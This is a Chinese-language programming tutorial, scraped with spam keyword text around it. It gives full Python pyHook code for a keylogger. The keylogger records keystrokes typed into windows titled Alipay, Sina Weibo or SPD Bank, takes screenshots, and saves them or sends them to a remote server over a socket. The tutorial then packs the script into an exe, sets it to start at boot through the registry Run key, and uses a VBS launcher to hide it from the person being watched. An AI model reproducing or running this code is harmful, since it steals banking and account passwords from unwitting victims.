国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

Python利用pyHook實現監聽用戶鼠標與鍵盤事件

2019-11-25 18:16:35
字體:
來源:轉載
供稿:網友

本文以一段簡單的監聽鼠標、鍵盤事件的程序,實現獲取用戶的輸入(比如登錄某些網站的賬號、密碼)的功能。經測試,對于一臺“裸奔”的電腦,完全能獲取到用戶輸入的任何信息;但是如果安裝了殺毒軟件,就夠嗆了。具體實現方法如下:

一、代碼部分:獲取用戶輸入信息,并與截圖一起保存到XX目錄下

# -*- coding: utf-8 -*- # import pythoncom import pyHook  import timeimport socketfrom PIL import ImageGrab##如果是遠程監聽某個目標電腦,可以自己架設一個服務器,然后將獲取到的信息發回給服務器#def send_msg_to_server(msg):  host=""  port=1234  buf_size=1024  addr=(host,port)  if len(msg)>0:    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    tcp_client_sock.connect(addr)    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'    tcp_client_sock.sendall(info+msg)    tcp_client_sock.close()    ##也可以將獲取到的信息保存到本地文件下#def write_msg_to_txt(msg):    f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')  f.write(msg+'/r/n')  f.close()def onMouseEvent(event):   # 監聽鼠標事件     global MSG  if len(MSG)!=0:        #send_msg_to_server(MSG)    write_msg_to_txt(MSG)    MSG=''    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))    #將用戶屏幕截圖,保存到本地某個目錄下(也可以搞成遠程發送到自己的服務器)    pic = ImageGrab.grab()    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)  return True def onKeyboardEvent(event):  #監聽鍵盤事件  global MSG  title= event.WindowName.decode('GBK')  #通過網站title,判斷當前網站是否是“監聽目標”  if title.find(u"支付寶") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦發銀行')!=-1:    #Ascii: 8-Backspace , 9-Tab ,13-Enter     if (127 >= event.Ascii > 31) or (event.Ascii == 8):      MSG += chr(event.Ascii)            if (event.Ascii == 9) or (event.Ascii == 13):            #send_msg_to_remote(MSG)      write_msg_to_txt(MSG)      MSG = ''       #屏幕抓圖實現      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))      pic = ImageGrab.grab()      #保存成為以日期命名的圖片      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)  return True  if __name__ == "__main__":     MSG = ''    #創建hook句柄  hm = pyHook.HookManager()  #監控鼠標  hm.SubscribeMouseLeftDown(onMouseEvent)  hm.HookMouse()  #監控鍵盤  hm.KeyDown = onKeyboardEvent  hm.HookKeyboard()  #循環獲取消息  pythoncom.PumpMessages() 

二、用py2exe將腳本打包:

新建一個py文件setup.py,內容如下:

from distutils.core import setupimport py2exesetup(console=["monitor.py"])#setup(windows=["monitor.py"])

命令行執行以下命令:

pythonsetup.pypy2exe

三、將該程序設置為開機自動啟動:

步驟①:

將需要開機啟動的文件(創建一個快捷方式,然后)放到“開始/所有程序/啟動”目錄下

步驟②:

修改注冊表:命令行― regedit ,然后到以下路徑下:
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]  

新建一個“字符串值”,然后編輯:設置exe文件所在路徑
D:/workspace/mytest/pyhook/dist/monitor.exe

(以上兩種方式啟動monitor.exe的話,會彈出一個命令框,顯示監聽日志信息,這樣的話,被監聽的人一下就能發現了,可以試試下面這個方式)

步驟③:

新建一個 .vbs文件,內容如下:

setwscriptObj=CreateObject("Wscript.Shell")wscriptObj.run“D:/workspace/mytest/pyhook/dist/monitor.exe",0

雙擊運行該vbs文件,則monitor.exe就在后臺啟動了(不會彈出一個大黑框)。
然后參考法①、② 把該vbs設置成開機啟動即可。

補充:

1、該程序涉及到一些模塊都需要自己安裝一下;
2、文章中凡是“D:/workspace....”這樣的路徑都需要改成自己的真實路徑;
3、本代碼僅為測試示例,讀者不要將其用于非法用途。

感興趣的讀者可以對本文實例加以改進,使之功能更加完善。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 大连市| 宜君县| 华安县| 德州市| 普格县| 石狮市| 忻城县| 肇州县| 曲松县| 延边| 富源县| 民和| 桑日县| 兴安县| 云浮市| 子长县| 绵竹市| 五河县| 玛多县| 阳信县| 新源县| 武川县| 青阳县| 余姚市| 抚松县| 镇宁| 平舆县| 伊川县| 沙田区| 泾源县| 墨江| 平遥县| 河津市| 河北区| 清原| 白银市| 平乐县| 沧州市| 彭山县| 河津市| 宿迁市|